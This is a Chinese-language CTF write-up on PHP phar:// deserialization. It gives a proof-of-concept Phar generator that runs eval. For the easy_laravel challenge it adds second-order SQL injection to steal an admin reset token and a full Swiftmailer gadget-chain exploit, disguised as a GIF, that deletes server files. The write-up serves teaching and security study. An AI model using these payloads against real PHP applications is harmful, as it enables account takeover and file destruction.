在Blackhat2018,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。
在使用phar://协议读取文件时,文件会被解析成phar( http://php.net/manual/zh/intro.phar.php ) 解析过程中会触发php_var_unserialize()函数,造成反序列化。
1.服务器上存在可控文件 2.服务器端引用了可以利用的魔术方法 3.文件操作函数的参数可控
在本地搭建一个简单的环境来测试(php7.1+apache2) 本地测试代码
<?php
class altman
{
private $a='echo 'test'';
function __destruct()
{
eval($this->a);
}
}
file_exists($_GET['file']);
?>
首先要将本地php.ini中的phar.readonly选项设置为Off 然后构造一个生成phar文件的php脚本
<?php
class altman
{
private $a='echo "test";';
function __destruct()
{
eval($this->a);
}
}
$f = new altman();
$f->a='phpinfo()';
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($f); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
生成如下phar文件,可以看到文件中metadata部分含有我们构造的恶意序列化代码
通过测试代码中的file_exists()来访问phar文件,利用phar://协议解析文件。
成功执行phpinfo
题目doocker环境https://github.com/sco4x0/huwangbei2018_easy_laravel
查看首页注释中拿到整个网站的源码,浏览发现使用lavarel框架写的。 先查看路由
直接去看一下flag获取方式
没什么用,继续全局搜索flag
定位到关键点,到这里就题目意图就很明显了,要登录邮箱为admin@qvq.im的账号来查看flag。
尽管可以注册任意用户,但是无法覆盖邮箱,寻找其他突破口 在NoteController.php中找到一处注入点
显然二次注入,常规的union注入拿到管理员密码
有点自闭,密码加密过的,无法破解,只能另寻他路来登录管理员账号
发现了重置密码功能,仔细读代码,发现只要得到账号的token,就能拿到重置密码的link
token在password_resets表中 进行注入
然后直接访问link /password/reset/{token}重置管理员密码 成功登陆
发现noflag ???
Blade 是 laravel 提供的一个简单强大的模板引擎,它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变。 由于旧的缓存存在,所以我们访问flag时会加载缓存,从而无法访问到新的flag。 所以这里需要想办法删除掉blade文件缓存。 先找到缓存文件的路径
public function getCompiledPath($path)
{
return $this->cachePath.'/'.sha1($path).'.php';
}
又有提示nginx默认配置,那么可以找到flag文件的path是
/usr/share/nginx/html/resources/views/auth/flag.blade.php
那么最终得到
/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php
已经确认了缓存文件的目录。下面就要寻找一个可控的删除函数。 通过composer.json,安装网站的组件。
在组件中寻找删除函数,全局搜索定位unlink() 最终在swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php中找到了一个可以利用的_destruck()
发现一个check很可疑,查看源码
很明显的一个file_exists函数,这不就是可以出发phar反序列化的函数吗?
到这里整个题目思路就很明确了: ①构造phar文件并上传 ②通过check触发file_exists()引发反序列化 ③执行unlink删除旧的缓存文件 ④再次访问flag
<?php
class Swift_ByteStream_AbstractFilterableInputStream {
/**
* Write sequence.
*/
protected $sequence = 0;
/**
* StreamFilters.
*
* @var Swift_StreamFilter[]
*/
private $filters = [];
/**
* A buffer for writing.
*/
private $writeBuffer = '';
/**
* Bound streams.
*
* @var Swift_InputByteStream[]
*/
private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
/** The internal pointer offset */
private $_offset = 0;
/** The path to the file */
private $_path;
/** The mode this file is opened in for writing */
private $_mode;
/** A lazy-loaded resource handle for reading the file */
private $_reader;
/** A lazy-loaded resource handle for writing the file */
private $_writer;
/** If magic_quotes_runtime is on, this will be true */
private $_quotes = false;
/** If stream is seekable true/false, or null if not known */
private $_seekable = null;
/**
* Create a new FileByteStream for $path.
*
* @param string $path
* @param bool $writable if true
*/
public function __construct($path, $writable = false)
{
$this->_path = $path;
$this->_mode = $writable ? 'w+b' : 'rb';
if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
$this->_quotes = true;
}
}
/**
* Get the complete path to the file.
*
* @return string
*/
public function getPath()
{
return $this->_path;
}
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
public function __construct() {
$filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
parent::__construct($filePath, true);
}
public function __destruct() {
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>
上传文件后,在check处抓包,控制path值,利用phar://去解析我们上传的文件,造成反序列化。
然后再去请求flag